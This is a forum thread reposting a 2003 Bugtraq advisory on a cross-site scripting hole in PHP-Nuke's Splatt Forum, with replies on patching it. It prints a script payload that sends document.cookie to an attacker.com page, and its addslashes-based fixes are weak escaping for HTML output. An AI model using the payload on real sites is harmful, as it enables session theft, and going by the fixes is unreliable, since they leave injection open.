PHP-Nuke (Splatt) block-Forums.php subject vulnerabilities

Major Joined: Jan 13, 2003 Posts: 892

3/31/2003 Posted to Bugtraq mailing list by lethalman@libero_DOT_it

PHP-Nuke block-Forums.php subject vulnerabilities

The block-Forums.php file have a vuln if an attacker

insert a malformatted subject to a topic of Splatt

Forum. A type of subject is:

">&script&alert('bug'");&/script&

The 'alt' tag is closed by "> and the other text is

normal html. This bug is very bad if a subject is:

">&script&window.open('www.attacker.com/prova.php?cookie='+document.cookie);&/script&

And prova.php register cokkies in a file.

The solution:

Add under "$title2 = stripslashes($title2);" line, this

line:

"$title2 = addslashes($title2);"

And now, backward any " there is a backslash!

Major Joined: Jan 13, 2003 Posts: 892

I should make Note* the poster did not say if Splatt had been alerted. Nor which version was tested. So I have to assume this was another fast and loose post to Bugtraq.

Posted: Mon Mar 31, 2003 8:27 pm

I think this is true, and not only in the Splatt block coz some dude tried this out all over my Splatt forums 4.0RC1 last week - see our thread "Interesting Hack/Exploit Attempt" in this section (http://www.nukecops.com/postt1349.html).

I tried to contact Splatt about this, but (unsurprisingly) to no avail... one thing I dont understand six, is,

1. what is meant by..
And now, backward any " there is a backslash!
2. And how is it done??

Think I am going to go through all my splatt files and do a trial-and-error
and add this stuff coz there is a huge gaping hole somewhere!

Regards
Anthony

Major Joined: Jan 13, 2003 Posts: 892

He means behind any quote will be a backwards slash.

Major Joined: Jan 13, 2003 Posts: 892

Any long form fields should be patched in such a way as described. Anywhere html isn't needed you could using the $title example use

$title = htmlspecialchars(stripslashes(addslashes($title)));

Here is another again usable where no html would be allowed.
$title = htmlspecialchars(stripslashes(FixQuotes($title)));

I just put it in one line it works in seperate lines as given in the above post fine too.

Its sort of a trial and error thing. Like when FB used htmlspecialchars on signitures in the user profiles everyone had chit fits because they could't post images anymore even in bbcode. So he changed back to a less restrictive filter.

Which is still semi vulnerable to the exact exploit used above. But thats what the users want.